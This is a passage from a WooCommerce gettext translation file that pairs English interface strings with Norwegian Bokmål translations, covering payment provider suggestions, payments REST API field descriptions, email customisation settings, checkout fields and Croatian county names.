#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3777
msgid "A European payments solution that allows you to accept payments in over 25 countries and multiple currencies."
msgstr "En europeisk betalingsløsning som lar deg ta imot betalinger i mer enn 25 land og flere valutaer."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3776
msgid "Viva.com Smart Checkout"
msgstr "Viva.com Smart Checkout"
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3744
msgid "Accept credit and debit cards on your WooCommerce store with advanced features like partial refunds, full/partial captures, and 3D Secure security."
msgstr "Godta kreditt- og debetkort i WooCommerce-butikken med avanserte funksjoner som delvis refusjon, fullt/delvis trekk og «3D Secure»-sikkerhet."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3743
msgid "Tilopay"
msgstr "Tilopay"
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3709
msgid "Stripe"
msgstr "Stripe"
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3676
msgid "Securely accept credit and debit cards with one low rate, no surprise fees (custom rates available). Sell in store and track sales and inventory in one place."
msgstr "Godta kreditt- og debetkort på en sikker måte med én lav sats, ingen overraskende gebyrer (tilpassede satser er tilgjengelige). Selg i butikk, og følg med på salg og lagerbeholdning på ett sted."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3610
msgid "Enable PayU's exclusive plugin for WooCommerce to start accepting payments in 100+ payment methods available in India including credit cards, debit cards, UPI, & more!"
msgstr "Aktiver PayUs eksklusive plugin for WooCommerce for å begynne å ta i mot betalinger i 100+ betalingsmåter tilgjengelig i India, inkludert kredittkort, debetkort, UPI og mer."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3609
msgid "PayU India"
msgstr "PayU India"
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3512
msgid "Payoneer Checkout is the next generation of payment processing platforms, giving merchants around the world the solutions and direction they need to succeed in today's hyper-competitive global market."
msgstr "Payoneer Checkout er neste generasjons plattform for betalingsbehandling, og gir selgere over hele verden de løsningene og den veiledningen de trenger for å lykkes i dagens globale hyperkonkurransemarked."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3478
msgid "Safe and secure payments using your customer's PayPal account."
msgstr "Trygge og sikre betalinger ved hjelp av kundens PayPal-konto."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3444
msgid "PayPal Payments lets you offer PayPal, Venmo (US only), Pay Later options and more."
msgstr "Med PayPal Payments kan du tilby PayPal, Venmo (kun i USA), Pay Later-alternativer og mer."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3412
msgid "Paymob is a leading payment gateway in the Middle East and Africa. Accept payments online and in-store with Paymob."
msgstr "Paymob er en ledende betalingsløsning i Midtøsten og Afrika. Ta imot betalinger på nett og i butikk med Paymob."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3411
msgid "Paymob"
msgstr "Paymob"
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3378
msgid "The Payfast extension for WooCommerce enables you to accept payments by Credit Card and EFT via one of South Africa's most popular payment gateways. No setup fees or monthly subscription costs. Selecting this extension will configure your store to use South African rands as the selected currency."
msgstr "Med Payfast-utvidelsen for WooCommerce kan du ta imot betalinger med kredittkort og EFT via en av Sør-Afrikas mest populære betalingsløsninger. Ingen installasjonsgebyr eller månedlige abonnementskostnader. Hvis du velger denne utvidelsen konfigureres butikken din til å bruke sørafrikanske rand som valgt valuta."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3292
msgid "Your trusted payments partner in Asia and around the world."
msgstr "Din betrodde betalingspartner i Asia og resten av verden."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3291
msgid "Antom"
msgstr "Antom"
#: src/Internal/Admin/Settings/PaymentsRestController.php:1177
msgid "The category of the suggestion."
msgstr "Kategorien for forslaget."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1164
#: src/Internal/Admin/Settings/PaymentsRestController.php:1171
msgid "The tags associated with the suggestion."
msgstr "Taggene som er assosiert med forslaget."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1137
msgid "The URL of the icon (square aspect ratio)."
msgstr "Nettadressen til ikonet (kvadratisk størrelsesforhold)."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1132
msgid "The URL of the image."
msgstr "Nettadressen til bildet."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1095
msgid "The description of the suggestion."
msgstr "Forslagets beskrivelse."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1089
msgid "The title of the suggestion."
msgstr "Forslagets tittel."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1083
msgid "The type of the suggestion."
msgstr "Forslagets type."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1077
msgid "The priority of the suggestion."
msgstr "Forslagets prioritet."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1071
msgid "The unique identifier for the suggestion."
msgstr "Den unike identifikatoren for forslaget."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1065
msgid "A suggestion with full details."
msgstr "Et forslag med alle detaljer."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1045
#: src/Internal/Admin/Settings/PaymentsRestController.php:1208
msgid "The URL to hide the suggestion."
msgstr "Nettadressen for å skjule forslaget."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1039
#: src/Internal/Admin/Settings/PaymentsRestController.php:1202
msgid "The link to hide the suggestion."
msgstr "Lenken for å skjule forslaget."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1315
msgid "The URL to dismiss the incentive."
msgstr "Nettadressen for å avvise insentivet."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1309
msgid "The link to dismiss the incentive."
msgstr "Lenken for å avvise insentivet."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1291
msgid "Context ID in which the incentive was dismissed."
msgstr "Kontekst-id som insentivet ble avvist i."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1276
msgid "The badge label for the incentive."
msgstr "Merketiketten for insentivet."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1270
msgid "The URL to the terms and conditions for the incentive."
msgstr "Nettadressen til betingelsene for insentivet."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1264
msgid "The call to action label for the incentive."
msgstr "Oppfordringsetiketten for insentivet."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1258
msgid "The short description of the incentive. It can contain stylistic HTML."
msgstr "Den korte beskrivelsen av insentivet. Den kan inneholde stilistisk HTML."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1252
msgid "The incentive description. It can contain stylistic HTML."
msgstr "Beskrivelsen av insentivet. Den kan inneholde stilistisk HTML."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1246
msgid "The incentive title. It can contain stylistic HTML."
msgstr "Tittelen på insentivet. Den kan inneholde stilistisk HTML."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1240
msgid "The incentive promo ID. This ID need to be fed into the onboarding flow."
msgstr "Id-en for insentivkampanjen. Denne id-en må mates inn i registreringsflyten."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1234
msgid "The incentive unique ID. This ID needs to be used for incentive dismissals."
msgstr "Den unike id-en for insentivet. Denne id-en må brukes ved avvisning av insentiver."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1228
msgid "The active incentive for the provider."
msgstr "Det aktive insentivet for leverandøren."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1013
msgid "The suggestion ID matching this provider."
msgstr "Forslagets id som samsvarer med denne leverandøren."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1007
msgid "Tag associated with the provider."
msgstr "Tagg assosiert med leverandøren."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1001
msgid "The tags associated with the provider."
msgstr "Taggene som er assosiert med leverandøren."
#: src/Internal/Admin/Settings/PaymentsRestController.php:990
msgid "The URL of the payment method icon or a base64-encoded SVG image."
msgstr "Nettadressen til betalingsmåtens ikon, eller et «base64»-kodet SVG-bilde."
#: src/Internal/Admin/Settings/PaymentsRestController.php:984
msgid "The description of the payment method. It can contain basic HTML."
msgstr "Beskrivelsen av betalingsmåten. Den kan inneholde grunnleggende HTML."
#: src/Internal/Admin/Settings/PaymentsRestController.php:978
msgid "The title of the payment method. Does not include HTML tags."
msgstr "Tittelen på betalingsmåten. Inkluderer ikke HTML-koder."
#: src/Internal/Admin/Settings/PaymentsRestController.php:972
msgid "Whether the payment method should be required (and force-enabled) or not."
msgstr "Om betalingsmåten skal være påkrevd (og tvangsaktivert) eller ikke."
#: src/Internal/Admin/Settings/PaymentsRestController.php:966
msgid "Whether the payment method should be recommended as enabled or not."
msgstr "Om betalingsmåten skal anbefales som aktivert eller ikke."
#: src/Internal/Admin/Settings/PaymentsRestController.php:960
msgid "The sort order of the payment method."
msgstr "Sorteringsrekkefølgen for betalingsmåten."
#: src/Internal/Admin/Settings/PaymentsRestController.php:954
msgid "The unique identifier for the payment method."
msgstr "Den unike identifikatoren for betalingsmåten."
#: src/Internal/Admin/Settings/PaymentsRestController.php:948
msgid "The details for a recommended payment method."
msgstr "Detaljene for en anbefalt betalingsmåte."
#: src/Internal/Admin/Settings/PaymentsRestController.php:943
msgid "The list of recommended payment methods details for the payment gateway."
msgstr "Listen over anbefalte betalingsmåter for betalingsløsningen."
#: src/Internal/Admin/Settings/PaymentsRestController.php:905
#: src/Internal/Admin/Settings/PaymentsRestController.php:1329
msgid "The URL to start/continue onboarding for the payment gateway."
msgstr "Nettadressen for å starte/fortsette registreringen for betalingsløsningen."
#: src/Internal/Admin/Settings/PaymentsRestController.php:899
#: src/Internal/Admin/Settings/PaymentsRestController.php:1323
msgid "The start/continue onboarding link for the payment gateway."
msgstr "Start/Fortsett-lenken for betalingsløsningen."
#: src/Internal/Admin/Settings/PaymentsProviders/WooPayments/WooPaymentsRestController.php:1035
msgid "Whether the onboarding process is completed."
msgstr "Om registreringsprosessen er fullført."
#: src/Internal/Admin/Settings/PaymentsProviders/WooPayments/WooPaymentsRestController.php:1029
msgid "Whether the onboarding process is started."
msgstr "Om registreringsprosessen er påbegynt."
#: src/Internal/Admin/Settings/PaymentsRestController.php:875
msgid "The state of the onboarding process."
msgstr "Status for registreringsprosessen."
#: src/Internal/Admin/Settings/PaymentsRestController.php:865
msgid "Onboarding-related details for the provider."
msgstr "Registreringsrelaterte detaljer for leverandøren."
#: src/Internal/Admin/Settings/PaymentsRestController.php:853
msgid "The URL to the settings page for the payment gateway."
msgstr "Nettadressen til innstillingssiden for betalingsløsningen."
#: src/Internal/Admin/Settings/PaymentsRestController.php:847
msgid "The link to the settings page for the payment gateway."
msgstr "Lenken til innstillingssiden for betalingsløsningen."
#: src/Internal/Admin/Settings/PaymentsRestController.php:838
msgid "The management details of the provider."
msgstr "Administrasjonsopplysningene for leverandøren."
#: src/Internal/Admin/Settings/PaymentsRestController.php:830
msgid "Whether the provider is in dev mode. Having this true usually leads to forcing test payments. "
msgstr "Om leverandøren er i utviklingsmodus. Hvis dette er sant, fører det vanligvis til at testbetalinger tvinges frem. "
#: src/Internal/Admin/Settings/PaymentsRestController.php:824
msgid "Whether the provider is in test mode for payments processing."
msgstr "Om leverandøren er i testmodus for betalingsbehandling."
#: src/Internal/Admin/Settings/PaymentsRestController.php:818
msgid "Whether the provider needs setup."
msgstr "Om leverandøren trenger oppsett."
#: src/Internal/Admin/Settings/PaymentsRestController.php:812
msgid "Whether the provider has a payments processing account connected."
msgstr "Om leverandøren har en konto for betalingsbehandling tilkoblet."
#: src/Internal/Admin/Settings/PaymentsRestController.php:806
msgid "Whether the provider is enabled for use on checkout."
msgstr "Om leverandøren er aktivert for bruk i kassen."
#: src/Internal/Admin/Settings/PaymentsRestController.php:802
msgid "The general state of the provider with regards to it's payments processing."
msgstr "Leverandørens generelle status når det gjelder betalingsbehandling."
#: src/Internal/Admin/Settings/PaymentsRestController.php:793
#: src/Internal/Admin/Settings/PaymentsRestController.php:1155
msgid "The URL of the link."
msgstr "Nettadressen for lenken."
#: src/Internal/Admin/Settings/PaymentsRestController.php:787
#: src/Internal/Admin/Settings/PaymentsRestController.php:1149
msgid "The type of the link."
msgstr "Type lenke."
#: src/Internal/Admin/Settings/PaymentsRestController.php:779
msgid "Links for the provider."
msgstr "Lenker for leverandøren."
#: src/Internal/Admin/Settings/PaymentsRestController.php:774
msgid "The URL of the provider icon (square aspect ratio - 72px by 72px)."
msgstr "Nettadressen til leverandørikonet (kvadratisk format, 72 x 72 piksler)."
#: src/Internal/Admin/Settings/PaymentsRestController.php:769
msgid "The URL of the provider image."
msgstr "Nettadressen til leverandørbildet."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1124
msgid "The status of the plugin."
msgstr "Status for utvidelsen."
#: src/Internal/Admin/Settings/PaymentsRestController.php:750
msgid "The plugin main file. This is a relative path to the plugins directory."
msgstr "Hovedfilen for utvidelsen. Dette er en relativ sti til utvidelsemappen."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1113
msgid "The slug of the plugin."
msgstr "Identifikatoren for utvidelsen."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1107
msgid "The type of the plugin."
msgstr "Type utvidelse."
#: src/Internal/Admin/Settings/PaymentsRestController.php:726
msgid "The corresponding plugin details of the provider."
msgstr "De korresponderende utvidelsedetaljene for leverandøren."
#: src/Internal/Admin/Settings/PaymentsRestController.php:716
msgid "Supported features for this provider."
msgstr "Støttede funksjoner for denne leverandøren."
#: src/Internal/Admin/Settings/PaymentsRestController.php:711
msgid "The description of the provider."
msgstr "Beskrivelse av leverandøren."
#: src/Internal/Admin/Settings/PaymentsRestController.php:705
msgid "The title of the provider."
msgstr "Tittelen for leverandøren."
#: src/Internal/Admin/Settings/PaymentsRestController.php:699
msgid "The type of payment provider. Use this to differentiate between the various items in the list and determine their intended use."
msgstr "Type betalingsleverandør. Bruk dette for å skille mellom de ulike elementene i listen, samt fastslå hva de skal brukes til."
#: src/Internal/Admin/Settings/PaymentsRestController.php:693
msgid "The sort order of the provider."
msgstr "Sorteringsrekkefølgen for leverandøren."
#: src/Internal/Admin/Settings/PaymentsRestController.php:687
msgid "The unique identifier for the provider."
msgstr "Den unike identifikatoren for leverandøren."
#: src/Internal/Admin/Settings/PaymentsRestController.php:683
msgid "A payment provider in the context of the main Payments Settings page list."
msgstr "En betalingsleverandør i kontekst av hovedlisten på siden «Betalingsinnstillinger»."
#: src/Internal/Admin/Settings/PaymentsRestController.php:662
msgid "The description of the category."
msgstr "Beskrivelsen for kategorien."
#: src/Internal/Admin/Settings/PaymentsRestController.php:656
msgid "The title of the category."
msgstr "Tittelen på kategorien."
#: src/Internal/Admin/Settings/PaymentsRestController.php:650
msgid "The priority of the category."
msgstr "Kategoriens prioritet."
#: src/Internal/Admin/Settings/PaymentsRestController.php:644
msgid "The unique identifier for the category."
msgstr "Den unike identifikatoren for kategorien."
#: src/Internal/Admin/Settings/PaymentsRestController.php:638
msgid "A suggestion category."
msgstr "En forslagskategori."
#: src/Internal/Admin/Settings/PaymentsRestController.php:633
msgid "The suggestion categories."
msgstr "Forslagskategoriene."
#: src/Internal/Admin/Settings/PaymentsRestController.php:626
msgid "The list of suggestions, excluding the ones part of the providers list."
msgstr "Listen over forslag, unntatt de som er en del av leverandørlisten."
#: src/Internal/Admin/Settings/PaymentsRestController.php:619
msgid "The ordered offline payment methods providers list."
msgstr "Den bestilte listen over leverandører av frakoblede betalingsmåter."
#: src/Internal/Admin/Settings/PaymentsRestController.php:612
msgid "The ordered providers list. This includes registered payment gateways, suggestions, and offline payment methods group entry. The individual offline payment methods are separate."
msgstr "Den bestilte listen over leverandører. Dette inkluderer registrerte betalingsløsninger, forslag og gruppeoppføring for frakoblede betalingsmåter. De individuelle frakoblede betalingsmåtene er separate."
#: src/Internal/Admin/Settings/PaymentsRestController.php:424
msgid "The order value must be an integer."
msgstr "Ordreverdien må være et heltall."
#: src/Internal/Admin/Settings/PaymentsRestController.php:416
msgid "The ordering argument must be an object with provider IDs as keys and numeric values as values."
msgstr "Ordreargumentet må være et objekt med leverandørenes id-er som nøkler, og numeriske verdier som verdier."
#: src/Internal/Admin/Settings/PaymentsRestController.php:411
msgid "The ordering argument must be an object."
msgstr "Ordreargumentet må være et objekt."
#: src/Internal/Admin/Settings/PaymentsProviders/WooPayments/WooPaymentsRestController.php:952
#: src/Internal/Admin/Settings/PaymentsRestController.php:396
msgid "The location argument must be a valid ISO3166 alpha-2 country code."
msgstr "Lokaliseringsargumentet må være en gyldig ISO3166 alpha-2 landskode."
#: src/Internal/Admin/Settings/PaymentsProviders/WooPayments/WooPaymentsRestController.php:941
#: src/Internal/Admin/Settings/PaymentsRestController.php:385
msgid "The location argument must be a string."
msgstr "Lokaliseringsargumentet må være en streng."
#: src/Internal/Admin/Settings/PaymentsRestController.php:155
msgid "The context ID for which to dismiss the incentive. If not provided, will dismiss the incentive for all contexts."
msgstr "Id-en for konteksten som insentivet skal avvises for. Hvis den ikke oppgis, avvises insentivet for alle kontekster."
#: src/Internal/Admin/Settings/PaymentsRestController.php:110
msgid "A map of provider ID to integer values representing the sort order."
msgstr "En mapping av leverandør-id til heltallverdier som representerer sorteringsrekkefølgen."
#: src/Internal/Admin/Settings/PaymentsRestController.php:88
msgid "ISO3166 alpha-2 country code. Defaults to WooCommerce's base location country."
msgstr "ISO3166 alfa-2 landskode. Standardinnstillingen er WooCommerce sitt basisland."
#: src/Internal/Admin/Settings/PaymentsRestController.php:66
msgid "The ISO3166 alpha-2 country code to save for the current user."
msgstr "ISO3166 alfa-2-landskoden som skal lagres for den aktuelle brukeren."
#: src/Internal/Admin/Settings/Payments.php:164
msgid "Accept payments offline using multiple different methods. These can also be used to test purchases."
msgstr "Ta imot betalinger frakoblet ved hjelp av flere ulike måter. Disse kan også brukes til å teste kjøp."
#: src/Internal/Admin/Settings/Payments.php:163
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "Take offline payments"
msgstr "Ta imot betalinger utenom nett"
#: src/Internal/Admin/Settings/PaymentsProviders.php:877
msgid "Give your shoppers additional ways to pay."
msgstr "Gi kundene flere måter å betale på."
#: src/Internal/Admin/Settings/PaymentsProviders.php:876
msgid "Payment Providers"
msgstr "Betalingsleverandører"
#: src/Internal/Admin/Settings/PaymentsProviders.php:865
msgid "Offer flexible payment options to your shoppers."
msgstr "Tilby fleksible betalingsmåter til kundene."
#: src/Internal/Admin/Settings/PaymentsProviders.php:864
msgid "Buy Now, Pay Later"
msgstr "Kjøp nå, betal senere"
#: src/Internal/Admin/Settings/PaymentsProviders.php:859
msgid "Allow shoppers to fast-track the checkout process with express options like Apple Pay and Google Pay."
msgstr "La kundene gå raskere gjennom betalingsprosessen med ekspressalternativer som Apple Pay og Google Pay."
#: src/Internal/Admin/Settings/PaymentsProviders.php:748
#: src/Internal/Admin/Settings/PaymentsProviders.php:815
msgid "Invalid suggestion ID."
msgstr "Ugyldig forslags-id."
#. translators: %s: Email settings color key, e.g.,
#. "woocommerce_email_base_color".
#: src/Internal/Admin/EmailPreview/EmailPreviewRestController.php:328
msgid "Transient saved for key %s."
msgstr "Transient lagret for nøkkel %s."
#: src/Internal/Admin/EmailPreview/EmailPreviewRestController.php:322
msgid "Error saving transient. Please try again."
msgstr "Feil ved lagring av transient. Prøv igjen."
#: src/Internal/Admin/EmailPreview/EmailPreviewRestController.php:304
msgid "Error sending test email. Please try again."
msgstr "Feil ved sending av e-posttest. Prøv igjen."
#. translators: %s: Email address.
#: src/Internal/Admin/EmailPreview/EmailPreviewRestController.php:299
msgid "Test email sent to %s."
msgstr "E-posttest sendt til %s."
#: src/Internal/Admin/EmailPreview/EmailPreviewRestController.php:225
msgid "A subject for provided email type after filters are applied and placeholders replaced."
msgstr "Et emne for den angitte e-posttypen, etter at filtre er brukt og plassholdere er erstattet."
#: src/Internal/Admin/EmailPreview/EmailPreviewRestController.php:141
msgid "The email type to get subject for."
msgstr "E-posttypen det skal hentes emne for."
#: src/Internal/Admin/EmailPreview/EmailPreviewRestController.php:123
msgid "Email address to send the email preview to."
msgstr "E-postadressen som forhåndsvisningen skal sendes til."
#: src/Internal/Admin/EmailPreview/EmailPreviewRestController.php:116
msgid "The email type to preview."
msgstr "E-posttypen som skal forhåndsvises."
#: src/Blocks/Templates/ComingSoonSocialLinksTemplate.php:48
msgid "Reusable template part for displaying social links on the coming soon page."
msgstr "Gjenbrukbar maldel for visning av sosiale lenker på «Kommer snart»-siden."
#: src/Blocks/Templates/ComingSoonSocialLinksTemplate.php:39
msgctxt "Template name"
msgid "Coming soon social links"
msgstr "Kommer snart, sosiale lenker"
#: src/Blocks/BlockTypes/Checkout.php:114
msgid "Address Line 2"
msgstr "Adresselinje 2"
#: src/Blocks/BlockTypes/Checkout.php:113
msgid "Controls the display of the apartment (address_2) field in checkout."
msgstr "Styrer visningen av feltet for leilighet (address_2) i kassen."
#: src/Blocks/BlockTypes/Checkout.php:96
msgid "Controls the display of the company field in checkout."
msgstr "Styrer visningen av feltet for firma i kassen."
#: includes/admin/settings/class-wc-settings-point-of-sale.php:93
#: src/Blocks/BlockTypes/Checkout.php:80
msgid "Phone number"
msgstr "Telefonnummer"
#: src/Blocks/BlockTypes/Checkout.php:79
msgid "Controls the display of the phone field in checkout."
msgstr "Styrer visningen av telefonfeltet i kassen."
#: src/Admin/API/OnboardingProfile.php:517
msgid "Selling platforms."
msgstr "Salgsplattformer."
#: src/Admin/API/OnboardingProfile.php:510
msgid "Selling online answer."
msgstr "Svar om salg på nettet."
#: src/Admin/API/OnboardingProfile.php:503
msgid "Business choice."
msgstr "Forretningsvalg."
#: src/Admin/API/OnboardingProfile.php:110
msgid "The Core Profiler step to mark as complete."
msgstr "Kjerneprofileringstrinnet som skal markeres som fullført."
#: patterns/page-coming-soon-modern-black.php:38
msgctxt "Coming Soon template heading"
msgid "Stay tuned."
msgstr "Følg med videre."
#: patterns/page-coming-soon-minimal-left-image.php:64
msgid "Something big is brewing! Our store is in the works – Launching shortly!"
msgstr "Noe stort er i emning! Butikken vår er under arbeid og lanseres snart!"
#. translators: %s: Site name.
#: patterns/page-coming-soon-minimal-left-image.php:26
msgid "%s transforms your home with our curated collection of home decor, bringing inspiration and style to every corner."
msgstr "%s forvandler hjemmet ditt med vår nøye utvalgte kolleksjon av boliginnredning, som gir inspirasjon og stil til hvert hjørne."
#: includes/wc-order-functions.php:184
msgid "An invalid order status slug was supplied."
msgstr "En ugyldig identifikator for ordrestatus ble angitt."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1941
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1990
msgid "Limit result set to virtual products."
msgstr "Begrens resultatsettet til virtuelle produkter."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1934
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1983
msgid "Limit result set to downloadable products."
msgstr "Begrens resultatsettet til nedlastbare produkter."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1923
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1972
msgid "Exclude products with any of the types from result set."
msgstr "Ekskluder produkter med en eller flere av typene fra resultatsettet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1912
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1961
msgid "Limit result set to products with any of the types."
msgstr "Begrens resultatsettet til produkter med en eller flere av typene."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1901
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1950
msgid "Exclude products with any of the statuses from result set."
msgstr "Ekskluder produkter med en av statusene fra resultatsettet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1890
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1939
msgid "Limit result set to products with any of the statuses."
msgstr "Begrens resultatsettet til produkter med en av statusene."
#: includes/gateways/cod/class-wc-gateway-cod.php:90
msgid "Let your shoppers pay upon delivery — by cash or other methods of payment."
msgstr "La kundene betale ved levering, med kontanter eller andre betalingsmåter."
#: includes/admin/settings/class-wc-settings-emails.php:749
msgid "Custom fonts"
msgstr "Egendefinerte skrifttyper"
#: includes/admin/settings/class-wc-settings-emails.php:735
msgid "Standard fonts"
msgstr "Standard skrifttyper"
#: includes/admin/settings/class-wc-settings-emails.php:627
msgid "Preview your email template. You can also test on different devices and send yourself a test email."
msgstr "Forhåndsvis e-postmalen. Du kan også teste på ulike enheter, samt sende en e-posttest til deg selv."
#: includes/admin/settings/class-wc-settings-emails.php:625
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "Email preview"
msgstr "Forhåndsvisning av e-post"
#: includes/admin/settings/class-wc-settings-emails.php:121
msgid "Set the name and email address you'd like your outgoing emails to use."
msgstr "Angi navnet og e-postadressen du vil at utgående e-post skal bruke."
#: includes/admin/settings/class-wc-settings-emails.php:236
msgid "Color palette"
msgstr "Fargepalett"
#. translators: %s: footer default color
#: includes/admin/settings/class-wc-settings-emails.php:292
msgid "Choose a color for your secondary text, such as your footer content. Default %s."
msgstr "Velg en farge for sekundærteksten, for eksempel bunnteksten. Standard %s."
#: includes/admin/settings/class-wc-settings-emails.php:290
msgid "Secondary text"
msgstr "Sekundær tekst"
#. translators: %s: default color
#: includes/admin/settings/class-wc-settings-emails.php:280
msgid "Set the color of your headings and text. Default %s."
msgstr "Angi farge for overskrifter og tekst. Standard %s."
#: includes/admin/settings/class-wc-settings-emails.php:278
msgid "Heading & text"
msgstr "Overskrift og tekst"
#. translators: %s: default color
#: includes/admin/settings/class-wc-settings-emails.php:268
msgid "Choose a background color for the content area of your emails. Default %s."
msgstr "Velg en bakgrunnsfarge for innholdsområdet i e-postene. Standard %s."
#: includes/admin/settings/class-wc-settings-emails.php:266
msgid "Content background"
msgstr "Innholdsbakgrunn"
#. translators: %s: default color
#: includes/admin/settings/class-wc-settings-emails.php:256
msgid "Select a color for the background of your emails. Default %s."
msgstr "Velg en farge for bakgrunnen i e-postene. Standard %s."
#: includes/admin/settings/class-wc-settings-emails.php:254
msgid "Email background"
msgstr "E-postbakgrunn"
#. translators: %s: default color
#: includes/admin/settings/class-wc-settings-emails.php:244
msgid "Customize the color of your buttons and links. Default %s."
msgstr "Tilpass farge for knappene og lenkene. Standard %s."
#: includes/admin/settings/class-wc-settings-emails.php:242
msgid "Accent"
msgstr "Uthevet"
#. translators: %s: Available placeholders for use
#: includes/admin/settings/class-wc-settings-emails.php:220
msgid "This text will appear in the footer of all of your WooCommerce emails."
msgstr "Denne teksten vil vises i bunnteksten i alle e-postene sendt av WooCommerce."
#: includes/admin/settings/class-wc-settings-emails.php:210
#: assets/client/admin/email-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
msgid "Font family"
msgstr "Skriftfamilie"
#: includes/admin/settings/class-wc-settings-emails.php:195
msgid "Header alignment"
msgstr "Justering av toppfelt"
#: includes/admin/settings/class-wc-settings-emails.php:175
msgid "Add your logo to each of your WooCommerce emails. If no logo is uploaded, your site title will be used instead."
msgstr "Legg til logo i hver av e-postene sendt av WooCommerce. Hvis ingen logo er lastet opp brukes nettstedets tittel i stedet."
#: includes/admin/settings/class-wc-settings-emails.php:163
msgid "Customize your WooCommerce email template and preview it below."
msgstr "Tilpass e-postmalen for WooCommerce, og forhåndsvis den nedenfor."
#: src/Internal/Admin/EmailPreview/EmailPreviewRestController.php:287
msgid "There was an error rendering an email preview."
msgstr "Det oppstod en feil ved forhåndsvisning av e-post."
#: i18n/states.php:718
msgid "Zagreb City"
msgstr "Zagreb City"
#: i18n/states.php:717
msgid "Međimurje County"
msgstr "Međimurje County"
#: i18n/states.php:716
msgid "Dubrovnik-Neretva County"
msgstr "Dubrovnik-Neretva County"
#: i18n/states.php:715
msgid "Istria County"
msgstr "Istria County"
#: i18n/states.php:714
msgid "Split-Dalmatia County"
msgstr "Split-Dalmatia County"
#: i18n/states.php:713
msgid "Vukovar-Srijem County"
msgstr "Vukovar-Srijem County"
#: i18n/states.php:712
msgid "Šibenik-Knin County"
msgstr "Šibenik-Knin County"
#: i18n/states.php:711
msgid "Osijek-Baranja County"
msgstr "Osijek-Baranja County"
#: i18n/states.php:710
msgid "Zadar County"
msgstr "Zadar County"
#: i18n/states.php:709
msgid "Brod-Posavina County"
msgstr "Brod-Posavina County"
#: i18n/states.php:708
msgid "Požega-Slavonia County"
msgstr "Požega-Slavonia County"
#: i18n/states.php:707
msgid "Virovitica-Podravina County"
msgstr "Virovitica-Podravina County"
#: i18n/states.php:706
msgid "Lika-Senj County"
msgstr "Lika-Senj County"
#: i18n/states.php:705
msgid "Primorje-Gorski Kotar County"
msgstr "Primorje-Gorski Kotar County"
#: i18n/states.php:704
msgid "Bjelovar-Bilogora County"
msgstr "Bjelovar-Bilogora County"
#: i18n/states.php:703
msgid "Koprivnica-Križevci County"
msgstr "Koprivnica-Križevci County"
#: i18n/states.php:702
msgid "Varaždin County"
msgstr "Varaždin County"
#: i18n/states.php:701
msgid "Karlovac County"
msgstr "Karlovac County"
#: i18n/states.php:700
msgid "Sisak-Moslavina County"
msgstr "Sisak-Moslavina County"
#: i18n/states.php:699
msgid "Krapina-Zagorje County"
msgstr "Krapina-Zagorje County"
#: i18n/states.php:698
msgid "Zagreb County"
msgstr "Zagreb County"
#. translators: 1: Role of the user (administrator, customer), 2: comma
#. separated list of allowed roles. egs customer, subscriber
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:277
